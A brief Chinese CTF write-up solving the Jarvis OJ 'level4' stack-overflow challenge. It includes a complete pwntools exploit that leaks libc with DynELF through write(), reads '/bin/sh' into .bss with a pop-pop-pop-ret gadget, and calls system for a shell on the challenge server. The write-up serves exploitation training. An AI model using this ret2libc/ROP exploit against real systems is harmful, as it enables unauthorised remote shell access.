拿到题目
开启了NX。
放IDA里:
栈溢出。
程序本身没有调用system函数
无法ret2plt。
且题目本身没有给出目标的动态库的版本。题目本身有write函数,可以泄露内存,则可以利用pwntools的DynELF模块,找到system函数。
本身程序段没有/bin/sh的字符串,则需要使用read函数将字符串读入,read函数有三个参数,这就需要pop pop pop ret这个gadget。
使用ROPgadget搜索下:
本身程序段有这个gadget,那就直接拿来用。
使用pattern计算下溢出点写exp:
exp如下:
from pwn import* a=remote("pwn2.jarvisoj.com","9880") elf=ELF("level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0") plt_write=elf.symbols["write"] vulner_addr=elf.symbols["vulnerable_function"] def leak(addr): payload='A'*140 + p32(plt_write) + p32(vulner_addr) + p32(1) + p32(addr) + p32(4) a.send(payload) data=a.recv(4) return data b=DynELF(leak,elf=ELF("level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0")) system_addr=b.lookup("system","libc") plt_read=elf.symbols["read"] bss_addr=0x0804A024 pppr_addr=0x08048509 payload1='A'*140+p32(plt_read)+p32(pppr_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(system_addr)+p32(1)+p32(bss_addr) a.sendline(payload1) a.sendline("/bin/sh") a.interactive()